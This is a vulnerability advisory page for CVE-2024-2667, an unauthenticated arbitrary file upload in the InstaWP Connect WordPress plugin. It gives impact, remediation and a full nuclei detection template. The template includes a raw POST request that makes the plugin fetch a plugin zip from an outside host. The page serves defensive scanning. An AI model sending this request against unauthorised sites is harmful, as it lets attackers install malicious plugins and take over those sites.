CVE-2024-2667· instawp / instawp connect· CWE-434
InstaWP Connect <= 0.1.0.22 - Unauthenticated Arbitrary File Upload
criticalseverity
9.8CVSS score
5.7%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file validation in the /wp-json/instawp-connect/v1/config REST API endpoint in all versions up to, and including, 0.1.0.22. This makes it possible for unauthenticated attackers to upload arbitrary files.
Impact
Unauthenticated attackers can install and activate arbitrary WordPress plugins including vulnerable or malicious ones via the InstaWP Connect REST API endpoint.
Fix
Update InstaWP Connect plugin to version 0.1.0.23 or later.
How to confirm it
Send: POST /?rest_route=/instawp-connect/v1/config
Positive when: contains "\"status\":true" and "\"message\":" AND contains in content_type "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2024-2667 -u <target>
The full check
id: CVE-2024-2667
info:
name: InstaWP Connect <= 0.1.0.22 - Unauthenticated Arbitrary File Upload
author: DhiyaneshDK
severity: critical
description: |
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file validation in the /wp-json/instawp-connect/v1/config REST API endpoint in all versions up to, and including, 0.1.0.22. This makes it possible for unauthenticated attackers to upload arbitrary files.
impact: |
Unauthenticated attackers can install and activate arbitrary WordPress plugins including vulnerable or malicious ones via the InstaWP Connect REST API endpoint.
remediation: |
Update InstaWP Connect plugin to version 0.1.0.23 or later.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/f6aead8d-c136-4952-ad03-86fe0f144dea?source=cve
- https://github.com/Nxploited/CVE-2024-2667-Poc
- https://github.com/Puvipavan/CVE-2024-2667
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-2667
cwe-id: CWE-434
epss-score: 0.05747
epss-percentile: 0.93127
cpe: cpe:2.3:a:instawp:instawp_connect:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: instawp
product: instawp_connect
framework: wordpress
fofa-query: body="/wp-content/plugins/instawp-connect/"
tags: cve,cve2024,wordpress,wp-plugin,wp,instawp-connect,intrusive,file-upload,vkev,vuln
http:
- raw:
- |
POST /?rest_route=/instawp-connect/v1/config HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
api_key={{randstr}}&override_plugin_zip=http://{{interactsh-url}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"status":true'
- '"message":'
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200References
- https://www.wordfence.com/threat-intel/vulnerabilities/id/f6aead8d-c136-4952-ad03-86fe0f144dea?source=cve
- https://github.com/Nxploited/CVE-2024-2667-Poc
- https://github.com/Puvipavan/CVE-2024-2667
Use this check only on systems you are authorised to test. Where the data comes from